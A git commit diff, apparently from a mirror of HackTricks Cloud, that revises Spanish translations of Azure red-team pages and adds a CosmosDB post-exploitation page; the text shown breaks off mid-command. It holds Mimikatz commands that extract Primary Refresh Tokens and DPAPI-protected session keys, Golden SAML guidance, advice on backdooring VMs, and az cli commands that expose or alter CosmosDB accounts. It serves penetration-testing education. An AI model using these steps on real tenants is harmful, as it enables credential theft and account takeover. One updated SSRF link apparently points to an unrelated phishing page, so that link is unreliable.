mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 12:35:30 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -18,7 +18,7 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un ent
|
||||
- **Ingeniería** Social
|
||||
- Reutilización de **contraseñas** (filtraciones de contraseñas)
|
||||
- Vulnerabilidades en Aplicaciones Alojadas en Azure
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con acceso al endpoint de metadatos
|
||||
- **Lectura de Archivos Locales**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
@@ -28,8 +28,8 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un ent
|
||||
- Versiones anteriores de **`Az PowerShell`** almacenaban **tokens de acceso** en **texto claro** en **`TokenCache.dat`**. También almacena **ServicePrincipalSecret** en **texto claro** en **`AzureRmContext.json`**. El cmdlet **`Save-AzContext`** se puede usar para **almacenar** **tokens**.\
|
||||
Usa `Disconnect-AzAccount` para eliminarlos.
|
||||
- Terceros **comprometidos**
|
||||
- **Empleado** Interno
|
||||
- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación Oauth)
|
||||
- Empleado **Interno**
|
||||
- [**Phishing Común**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credenciales o aplicación Oauth)
|
||||
- [Phishing de Autenticación con Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [**Password Spraying** de Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
@@ -52,7 +52,7 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
Si encontraste un SSRF en una máquina dentro de Azure, consulta esta página para trucos:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Bypass de Condiciones de Inicio de Sesión
|
||||
@@ -64,7 +64,7 @@ En casos donde tienes algunas credenciales válidas pero no puedes iniciar sesi
|
||||
- **Lista blanca de IP** -- Necesitas comprometer una IP válida
|
||||
- **Restricciones geográficas** -- Encuentra dónde vive el usuario o dónde están las oficinas de la empresa y obtén una IP de la misma ciudad (o país al menos)
|
||||
- **Navegador** -- Tal vez solo se permite un navegador de cierto SO (Windows, Linux, Mac, Android, iOS). Descubre qué SO usa la víctima/empresa.
|
||||
- También puedes intentar **comprometer las credenciales del Service Principal** ya que suelen ser menos limitadas y su inicio de sesión es menos revisado
|
||||
- También puedes intentar **comprometer las credenciales del Service Principal** ya que generalmente son menos limitadas y su inicio de sesión es menos revisado
|
||||
|
||||
Después de eludirlo, podrías ser capaz de volver a tu configuración inicial y aún tendrás acceso.
|
||||
|
||||
@@ -126,7 +126,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
|
||||
### Enumeración de ENtra ID
|
||||
|
||||
Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como, usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/#default-user-permissions)).\
|
||||
Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/index.html#default-user-permissions)).\
|
||||
Aquí puedes encontrar una guía:
|
||||
|
||||
{{#ref}}
|
||||
@@ -147,7 +147,7 @@ Usa portal.azure.com y selecciona la shell, o usa shell.azure.com, para un bash
|
||||
|
||||
## Azure DevOps
|
||||
|
||||
Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki, y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos.
|
||||
Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
|
||||
@@ -9,15 +9,15 @@ Las **cookies** del navegador son un gran mecanismo para **eludir la autenticaci
|
||||
Puedes ver dónde están **ubicadas las cookies del navegador** en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Ataque
|
||||
|
||||
La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto está encriptado utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) al que pertenecen las cookies. Puedes encontrar más información sobre esto en:
|
||||
La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto se encripta utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) al que pertenecen las cookies. Puedes encontrar más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Con Mimikatz en mano, puedo **extraer las cookies de un usuario** aunque estén encriptadas con este comando:
|
||||
|
||||
@@ -24,30 +24,30 @@ En cualquier configuración de federación hay tres partes:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.
|
||||
2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.
|
||||
3. El IdP toma el control, autenticando al usuario. Después de la autenticación, una SAMLResponse es formulada por el IdP y enviada al SP a través del usuario.
|
||||
1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.
|
||||
2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.
|
||||
3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula una SAMLResponse por el IdP y se reenvía al SP a través del usuario.
|
||||
4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.
|
||||
|
||||
**Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Pivotar
|
||||
## Pivoting
|
||||
|
||||
- AD FS es un modelo de identidad basado en reclamos.
|
||||
- "..los reclamos son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamos ubicadas en cualquier parte de Internet."
|
||||
- Los reclamos para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
|
||||
- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.
|
||||
- AD FS es un modelo de identidad basado en reclamaciones.
|
||||
- "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet."
|
||||
- Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
|
||||
- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD.
|
||||
- El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.
|
||||
- Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Ataque Golden SAML:**
|
||||
|
||||
- En ADFS, la SAML Response es firmada por un certificado de firma de token.
|
||||
- Si el certificado está comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
|
||||
- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
|
||||
- Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación.
|
||||
- El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet.
|
||||
- Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
@@ -56,7 +56,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
|
||||
El proceso donde un **Proveedor de Identidad (IdP)** produce una **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza.
|
||||
|
||||
Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.
|
||||
Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.
|
||||
|
||||
Los Golden SAML ofrecen ciertas ventajas:
|
||||
|
||||
@@ -67,7 +67,7 @@ Los Golden SAML ofrecen ciertas ventajas:
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación.
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación.
|
||||
|
||||
Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.
|
||||
|
||||
@@ -81,7 +81,7 @@ Los requisitos para ejecutar un ataque Golden SAML incluyen:
|
||||
- Nombre de sesión de rol en AWS
|
||||
- ID de cuenta de Amazon
|
||||
|
||||
_Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee._
|
||||
_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._
|
||||
|
||||
Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS:
|
||||
```powershell
|
||||
|
||||
@@ -36,9 +36,9 @@ La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSO
|
||||
```
|
||||
El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización primario dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`.
|
||||
|
||||
### Flujo de la cookie PRT usando TPM
|
||||
### Flujo de Cookies PRT usando TPM
|
||||
|
||||
El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se utiliza para **firmar la cookie PRT (JWT).**
|
||||
El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).**
|
||||
|
||||
El **KDF context es** un nonce de AzureAD y el PRT creando un **JWT** mezclado con un **contexto** (bytes aleatorios).
|
||||
|
||||
@@ -46,14 +46,14 @@ Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dent
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Escenarios de abuso de PRT
|
||||
## Escenarios de Abuso de PRT
|
||||
|
||||
Como **usuario regular**, es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\
|
||||
Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde se utiliza una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.
|
||||
Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde una **cookie PRT** se usa como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.
|
||||
|
||||
Como **SYSTEM**, podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas.
|
||||
|
||||
## Ejemplos de ataque Pass-the-PRT
|
||||
## Ejemplos de Ataques Pass-the-PRT
|
||||
|
||||
### Ataque - ROADtoken
|
||||
|
||||
@@ -152,9 +152,9 @@ Luego ve a [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
#### Pasos
|
||||
|
||||
1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
|
||||
2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Se puede encontrar información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) en estos recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
1. El **PRT (Primary Refresh Token) se extrae de LSASS** (Local Security Authority Subsystem Service) y se almacena para su uso posterior.
|
||||
2. La **clave de sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Data Protection API) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Después del descifrado de la clave de sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\
|
||||
@@ -180,21 +180,21 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copia** la parte etiquetada como **Prt** y guárdala.\
|
||||
Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está encriptado y necesitaremos usar nuestras claves maestras de DPAPI para desencriptarlo.
|
||||
Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Si no ves ningún dato de PRT, podría ser que **no tengas ningún PRT** porque tu dispositivo no está unido a Azure AD o podría ser que estás **ejecutando una versión antigua** de Windows 10.
|
||||
|
||||
Para **desencriptar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para desencriptarlo**. Puedes usar los siguientes comandos para hacerlo:
|
||||
Para **descifrar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para descifrarla**. Puedes usar los siguientes comandos para hacerlo:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Opción 1 - Mimikatz completo
|
||||
#### Opción 1 - Mimikatz Completo
|
||||
|
||||
- Ahora quieres copiar tanto el valor de Contexto:
|
||||
|
||||
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
|
||||
- Luego ve a [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> El resto debería ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien.
|
||||
> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien.
|
||||
|
||||
#### Opción 2 - roadrecon usando PRT
|
||||
|
||||
|
||||
@@ -10,16 +10,16 @@ Para más información sobre VMs, consulta:
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Aplicaciones, extensiones e imágenes de VM con puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### Aplicaciones de VM, Extensiones e Imágenes de puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
Un atacante identifica aplicaciones, extensiones o imágenes que se utilizan con frecuencia en la cuenta de Azure, podría insertar su código en las aplicaciones y extensiones de VM para que cada vez que se instalen, se ejecute la puerta trasera.
|
||||
|
||||
### Instancias con puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### Instancias de puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
Un atacante podría acceder a las instancias y ponerles puerta trasera:
|
||||
|
||||
- Usando un **rootkit** tradicional, por ejemplo
|
||||
- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Agregando una nueva **clave SSH pública** (consulta [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
|
||||
- Poniendo puerta trasera en los **Datos del Usuario**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
# Az - CosmosDB Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Post Exploitation
|
||||
Para más información sobre SQL Database consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
Con este permiso, puedes crear o actualizar cuentas de Azure Cosmos DB. Esto incluye modificar configuraciones a nivel de cuenta, agregar o eliminar regiones, cambiar niveles de consistencia y habilitar o deshabilitar características como escrituras en múltiples regiones.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
Con este permiso, puedes crear o modificar contenedores (colecciones) dentro de una base de datos SQL de una cuenta de Azure Cosmos DB. Los contenedores se utilizan para almacenar datos, y los cambios en ellos pueden afectar la estructura de la base de datos y los patrones de acceso.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--partition-key-path <partition_key_path>
|
||||
|
||||
#Update
|
||||
az cosmosdb sql container update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
Con este permiso, puedes crear o modificar bases de datos SQL dentro de una cuenta de Azure Cosmos DB. Esto permite gestionar la estructura de la base de datos y agregar nuevas bases de datos a la cuenta. Si bien este permiso permite la creación de bases de datos, el uso indebido o no autorizado podría resultar en un consumo innecesario de recursos, costos incrementados o ineficiencias operativas.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
|
||||
Con este permiso, puedes cambiar la prioridad de conmutación por error de las regiones para una cuenta de base de datos de Azure Cosmos DB. Esta acción determina el orden en el que las regiones se convierten en primarias durante un evento de conmutación por error. El uso inadecuado de este permiso puede interrumpir la alta disponibilidad de la base de datos o provocar impactos operativos no deseados.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
Con este permiso, puedes regenerar las claves primaria o secundaria para una cuenta de Azure Cosmos DB. Esto se utiliza típicamente para mejorar la seguridad al reemplazar claves antiguas, pero puede interrumpir el acceso a servicios o aplicaciones que dependen de las claves actuales.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
|
||||
Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular lógica para procesar datos o realizar operaciones directamente dentro de la base de datos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
